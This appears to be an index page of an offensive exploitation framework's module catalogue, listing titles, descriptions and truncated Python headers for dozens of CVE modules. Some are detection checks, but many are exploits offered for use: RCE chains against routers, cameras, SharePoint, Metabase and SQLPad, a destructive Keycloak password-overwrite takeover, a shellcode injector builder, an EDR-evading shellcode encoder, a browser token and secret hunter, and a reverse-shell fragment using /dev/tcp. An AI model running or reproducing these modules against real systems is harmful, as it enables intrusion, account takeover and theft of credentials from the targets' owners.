AdRem NetCrunch Startup Script RCE — Detect

Fingerprint / reachability check for AdRem NetCrunch Startup Script RCE !/usr/bin/env python3 -- coding: utf-8 -- """Detection for AdRem NetCrunch Startup Script RCE""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name":...

Leostream Connection Broker — Unauthenticated Server.Register Rogue-Agent Regist — Detect

Fingerprint / reachability check for Leostream Connection Broker — Unauthenticated Server.Register Rogue-Agent Registration + SSRF !/usr/bin/env python3 -- coding: utf-8 -- """Detection for Leostream Connection Broker — Unauthenticated Server.Register Rogue-Agent Registration + SSRF""" from...

IceWarp static route UNC external filter DLL RCE

Admin IQ RPC createaccount static route with rexternalfilterfile UNC; SMTP delivery triggers LoadLibrary. """IceWarp static route external filter UNC DLL load RCE.""" from future import annotations import re import socket import time from kittysploit import from lib.protocols.http.httpclient impo...

RCDevs WebADM 2.4.14 - OS Command Injection in the Log Viewer `sid` Parameter (C — Detect

Fingerprint / reachability check for RCDevs WebADM 2.4.14 - OS Command Injection in the Log Viewer sid Parameter CWE-78 !/usr/bin/env python3 -- coding: utf-8 -- """Detection for RCDevs WebADM 2.4.14 - OS Command Injection in the Log Viewer sid Parameter CWE-78""" from kittysploit import from...

Teltonika RutOS ipsec status logread command injection

Post-authentication OS command injection in Teltonika RutOS 00.07.06.21 RUT2XX / RUT200; RUT9XX byte-identical ipsec.lua. GET /api/ipsec/status/ passes the URL-decoded sid into logread -e '-c|' without shell quoting; vuci.util.exec runs /bin/sh -c and returns stdout in JSON .data.logs reflective...

Classic Remote Shellcode Injection

Build an injector EXE that decrypts shellcode and injects it into a remote process via VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.compile.backdoorhelpers import buildencryptedzigbackdoor, optionvalue from...

Keycloak CVE-2026-18963 reset-credentials bypass

CVE-2026-18963 Keycloak 26.0.0–26.7.1: re-navigation to reset-credentials re-opens the authentication selector and reset-credential-email accepts success without the emailed action token. Default: detect-only; set confirm=true to overwrite the target user's password destructive ATO. !/usr/bin/env...

Joomla Simple Membership CVE-2026-102782 Detect

Detects OrdaSoft comsimplemembership 7.4.0 and reachable checkLoginPass task. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Joomla Simple Membership CVE-2026-102782.""" import re from urllib.parse import urlencode from kittysploit import from lib.protocols.http.httpclient import Httpclient...

WordPress Unlimited Elements blind SQLi (CVE-2026-103355)

CVE-2026-103355: Unlimited Elements for Elementor = 2.0.20 concatenates terms-listing parent IDs into WPTermQuery. When two pages exist whose widget stores boolean tautology vs falsity payloads, comparing rendered term output confirms blind SQL injection. Provide oracletruepath and oraclefalsepat...

Binwalk CVE-2022-4510 Detect

Detects Binwalk web admin console authenticated plugin RCE chain. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Binwalk web admin console authenticated plugin RCE chain.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

Phproject CVE-2026-104991 detect

Detects self-hosted Phproject = 1.8.6 REST issue API used in CVE-2026-104991 missing allowAccess on read/comment endpoints when security.restrictaccess is enabled. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Phproject issue tracker CVE-2026-104991 REST BOLA context.""" import re from...

SQLPad CVE-2022-0944 Detect

Detects SQLPad web console. !/usr/bin/env python3 -- coding: utf-8 -- """Detects SQLPad web console.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "SQLPad CVE-2022-0944 Detect", "description": "Detects SQLPad web...

PDF.js CVE-2024-4367 FontMatrix RCE delivery

CVE-2024-4367: Type1 FontMatrix injection runs JavaScript in PDF.js viewers; upload malicious PDF and callback to LHOST for confirmation. !/usr/bin/env python3 -- coding: utf-8 -- """PDF.js CVE-2024-4367 FontMatrix JavaScript execution via PDF upload.""" from future import annotations import os...

image-downloader CVE-2026-103648 wrapper detect

Detects Node.js apps exposing a user-controlled image URL fetch endpoint pattern associated with CVE-2026-103648 image-downloader 4.3.1 path traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Detect HTTP wrappers around vulnerable image-downloader 4.3.1.""" import json from kittysploit impor...

Nezha Monitoring CVE-2026-53519 JWT forgery

CVE-2026-53519: path traversal under the Nezha dashboard exposes data/config.yaml jwtsecretkey and data/sqlite.db. Forges an HS256 admin JWT and verifies access to /api/v1/profile. !/usr/bin/env python3 -- coding: utf-8 -- """Nezha Monitoring CVE-2026-53519 path traversal + JWT forgery admin...

binwalk CVE-2022-4510 PFS traversal RCE

CVE-2022-4510 binwalk & /dev/tcp/lhost/lport 0&1",\n stdin=subprocess.DEVNULL...

OpenSTAManager CVE-2025-69212 Detect

Detects OpenSTAManager login authenticated import RCE chain. !/usr/bin/env python3 -- coding: utf-8 -- """Detects OpenSTAManager login authenticated import RCE chain.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name":...

Metabase CVE-2023-38646 H2 trigger RCE

CVE-2023-38646 Metabase 0.46.7: leaked setup-token plus /api/setup/validate H2 JDBC string runs a CREATE TRIGGER whose JavaScript body calls Runtime.exec blind — confirm via callback or shell. !/usr/bin/env python3 -- coding: utf-8 -- """Metabase CVE-2023-38646 pre-auth H2 JDBC trigger RCE...

SQLPad CVE-2022-0944 Handlebars SSTI RCE

CVE-2022-0944 SQLPad = 6.10.0: unauthenticated POST /api/test-connection embeds attacker input in Handlebars templates leading to Node childprocess.execSync blind; exfil or reverse shell. !/usr/bin/env python3 -- coding: utf-8 -- """SQLPad CVE-2022-0944 unauthenticated Handlebars SSTI RCE blind."...

x64 AES-128 AES-NI Encoder

Encrypts shellcode with AES-128-ECB and prepends an x64 AES-NI decoder stub requires AES-NI on the target CPU. !/usr/bin/env python3 -- coding: utf-8 -- """AES-128 AES-NI encoder for x64 shellcode — same layout as Awesome-EDR 02 style runners.""" from kittysploit import from core.lib.shellcodeaes...

Zammad CVE-2026-102489 Session Fixation Detect

Detects Zammad helpdesk instances potentially vulnerable to CVE-2026-102489 session fixation leading to RCE as the zammad user. Affects Zammad 6.3.0–6.5.4; chain with CVE-2026-102490 for root LPE. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Zammad session fixation RCE surface...

Ivanti EPMM Authentication Bypass (CVE-2023-35082)

Exploits CVE-2023-35082 in Ivanti EPMM MobileIron Core 11.2 and older: unauthenticated access to /mifs/asfV3/api/v2/admins/users allows admin enumeration and account creation. !/usr/bin/env python3 -- coding: utf-8 -- """Ivanti EPMM/MobileIron unauthenticated API access CVE-2023-35082.""" import...

TOTOLINK A3700R Command Injection (CVE-2023-46574)

Exploits CVE-2023-46574 in TOTOLINK A3700R: command injection in the FileName parameter of UploadFirmwareFile via /cgi-bin/cstecgi.cgi. !/usr/bin/env python3 -- coding: utf-8 -- """TOTOLINK A3700R firmware upload command injection CVE-2023-46574.""" import json import re from kittysploit import...

D-Link DNS-320 login_mgr RCE (CVE-2019-16057)

Exploits CVE-2019-16057 in D-Link DNS-320 str: inj = urllib.parse.quotef'80|cmd', safe='' p...

SharePoint ToolPane Register Injection RCE (CVE-2026-65660)

Exploits CVE-2026-65660 in Microsoft SharePoint: unescaped quotes in MSOTlPnDWP Register directive reconstruction allow injecting additional directives and XamlServices.Parse gadget chains via AddGallery/ToolPane endpoints. !/usr/bin/env python3 -- coding: utf-8 -- """SharePoint ToolPane Register...

Zeroshell kerbynet RCE (CVE-2019-12725)

Exploits CVE-2019-12725 in Zeroshell 3.9.0: newline injection in the User parameter of kerbynet StartSessionSubmit yields unauthenticated RCE. !/usr/bin/env python3 -- coding: utf-8 -- """Zeroshell kerbynet command injection CVE-2019-12725.""" import re import urllib.parse from kittysploit import...

mcp-server-kubernetes RCE (CVE-2026-61459)

Full-chain CVE-2026-61459: inject --server into kubectl MCP tools to exfiltrate the cluster bearer token, then create a privileged pod running the configured reverse CMD payload via the Kubernetes API. !/usr/bin/env python3 -- coding: utf-8 -- """mcp-server-kubernetes argument injection to pod RC...

XiongMai uc-httpd Overflow (CVE-2018-10088)

Exploits CVE-2018-10088 in XiongMai uc-httpd 1.0.0 used in many IP cameras/DVRs: stack buffer overflow via oversized HTTP headers. Verifies uc-httpd surface and sends the canonical overflow trigger arch-specific shellcode may be required. !/usr/bin/env python3 -- coding: utf-8 -- """XiongMai...

Zammad Local Privilege Escalation (CVE-2026-102490)

Post-exploitation module for CVE-2026-102490: escalates from the zammad service user to root on Zammad installations when a writable sudoers drop-in, cron job, or package hook is abusable. Intended as the second stage after CVE-2026-102489 session fixation RCE. !/usr/bin/env python3 -- coding:...

Kestra <= 1.3.20 / 1.0.44 - /configs Auth Bypass RCE (CVE-2026-49869)

Exploits CVE-2026-49869: Micronaut AuthenticationFilter whitelists any path ending in /configs. Unauthenticated PUT creates a shell workflow, POST triggers execution, logs are polled for command output. Fixed in Kestra 1.0.45 and 1.3.21. !/usr/bin/env python3 -- coding: utf-8 -- """Kestra OSS...

Apache Commons Text CVE-2022-42889 Detection

Detects CVE-2022-42889 Text4Shell via a blind sleep injection using the script:javascript StringSubstitutor lookup on a target parameter. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Commons Text CVE-2022-42889 Text4Shell detection.""" import random import time from kittysploit import from...

jQuery File Upload RCE (CVE-2018-9206)

Exploits CVE-2018-9206 by uploading a PHP shell to blueimp jQuery-File-Upload endpoints and executing commands via GET. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """blueimp jQuery File Upload unauth PHP upload RCE CVE-2018-9206 — execute session.""" from futu...

SAP Solution Manager EEM RCE (CVE-2020-6207)

Exploits CVE-2020-6207 missing authentication on /EemAdminService/EemAdmin to upload an AssignJS EEM script and execute self.payload on a connected SAP Diagnostics Agent via Rhino/Java Runtime. !/usr/bin/env python3 -- coding: utf-8 -- """SAP Solution Manager EEM servlet RCE CVE-2020-6207 — rever...

Apache Solr CVE-2019-0193 Velocity RCE Detection

Detects CVE-2019-0193 by running a marker echo through the Velocity response writer on /core/select wt=velocity. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Solr CVE-2019-0193 Velocity template RCE detection.""" import re from kittysploit import from lib.protocols.http.httpclient import...

XiongMai UC-HTTPd Path Traversal

Module exploits UC-HTTPd Path Traversal vulnerability in multiple XiongMai cameras. If target is vulnerable it is possible to list directories and read files from the file system. !/usr/bin/env python3 -- coding: utf-8 -- """XiongMai UC-HTTPd Path Traversal""" import re from kittysploit import fr...

Linksys WAP54Gv3

Module exploits remote command execution in Linksys WAP54Gv3 devices. Debug interface allows executing root privileged shell commands is available on dedicated web pages on the device. !/usr/bin/env python3 -- coding: utf-8 -- """Linksys WAP54Gv3""" import re from kittysploit import from...

AsusWRT Lan RCE

Module exploits multiple vulnerabilities to achieve remote code execution in AsusWRT firmware. The HTTP server contains vulnerability that allows bypass authentication via POST requests. Combining this with another vulnerability in the VPN configuration upload functionality allows setting NVRAM...

Metabase reset_password SQLi Admin Takeover (GHSA-vwf4-m7j8-wcjf)

GHSA-vwf4-m7j8-wcjf in Metabase = v0.58.0 before the x.58.24 / x.59.21 / x.60.17 / x.61.11 / x.62.9 / x.63.5 patches: pre-authentication SQL injection in POST /api/session/resetpassword via HoneySQL raw-map in the user-id JSON key. On all backends, injecting a subquery that resolves to the admin...

Beward IP Camera - servetest NTP Command Injection (CVE-2025-34042)

Exploits Beward camera command injection in ServerName of /cgi-bin/operator/servetest?cmd=ntp. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Beward IP camera servetest NTP RCE — opens execute session.""" import re from urllib.parse import quote from kittysploi...

eXtplorer - password[] Auth Bypass Detection

Detects eXtplorer auth bypass via password= empty array login as admin. !/usr/bin/env python3 -- coding: utf-8 -- """eXtplorer password authentication bypass.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'eXtplorer...

Apache HTTP Server 2.4.49-2.4.50 - Path Traversal / RCE Detection (CVE-2021-42013)

Detects CVE-2021-42013 incomplete fix for CVE-2021-41773 using double-encoded .%%32%65/ traversal to read /etc/passwd or execute via CGI bin/sh. !/usr/bin/env python3 -- coding: utf-8 -- """Apache HTTP Server 2.4.49-2.4.50 double-encoded path traversal / CGI RCE CVE-2021-42013.""" import re from...

phpMyAdmin - server_sync.php Backdoor Detection (CVE-2012-5159)

Detects CVE-2012-5159 by POSTing c=phpinfo; to /serversync.php. !/usr/bin/env python3 -- coding: utf-8 -- """phpMyAdmin serversync.php backdoor CVE-2012-5159.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'phpMyAdmi...

Kyocera Printer - Address Book Disclosure Detection (CVE-2022-1026)

Kyocera printers exposing gSOAP allow unauthenticated SOAP calls to /ws/km-wsdl/setting/addressbook to export the personal address book CVE-2022-1026. !/usr/bin/env python3 -- coding: utf-8 -- """Kyocera printer address book disclosure via gSOAP CVE-2022-1026.""" import re import time from...

Zyxel NAS - Auth Bypass Indicator (CVE-2023-27992 family)

Detects Zyxel NAS authentication bypass via /cmd,/ck6fup6/zylogmain/configuremailsyslog, indicating exposure to the Jun/Nov 2023 vulnerability set including pre-auth command injection CVE-2023-27992 and related issues. !/usr/bin/env python3 -- coding: utf-8 -- """Zyxel NAS authentication bypass...

ManageEngine DC - statusUpdate Upload Detection (CVE-2014-5005)

Detects CVE-2014-5005/5006 by uploading a JSP via statusUpdate LFU path traversal and verifying execution. !/usr/bin/env python3 -- coding: utf-8 -- """ManageEngine Desktop Central statusUpdate arbitrary file upload CVE-2014-5005.""" from kittysploit import from lib.protocols.http.httpclient impo...

Emby Server - swagger-ui Path Traversal Detection

Detects Emby Server =3.2.5 directory traversal via encoded /emby/swagger-ui/../../../../etc/passwd path. !/usr/bin/env python3 -- coding: utf-8 -- """Emby Server swagger-ui path traversal.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanne...

WordPress Podlove Podcast Publisher CVE-2026-13001 Detect

Detects Podlove Podcast Publisher = 4.5.1 vulnerable to unauthenticated file upload via image cache extension bypass CVE-2026-13001. Fixed in 4.5.2. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Podlove Podcast Publisher CVE-2026-13001 = 4.5.1.""" from kittysploit import from...

RTSP describe dump

OPTIONS + DESCRIBE against an RTSP URL/session and dump SDP media tracks !/usr/bin/env python3 -- coding: utf-8 -- """RTSP DESCRIBE dump — SDP media inventory via session or URL.""" from kittysploit import from lib.protocols.rtsp.client import RTSPPORT, probertsp from lib.protocols.rtsp.session...

UPnP Device Inventory

Dump UPnP device identity and service list from an SSDP session or direct LOCATION/rhost discover. !/usr/bin/env python3 -- coding: utf-8 -- """Inventory UPnP device description and services.""" from kittysploit import from lib.protocols.upnp.client import SSDPPORT from lib.protocols.upnp.session...

Token / Secret Hunter

Hunt JWTs, Bearer tokens, API keys and session secrets across storage, cookies, URL and DOM from kittysploit import import json class ModuleBrowserAuxiliary: info = "name": "Token / Secret Hunter", "description": "Hunt JWTs, Bearer tokens, API keys and session secrets across storage, cookies, URL...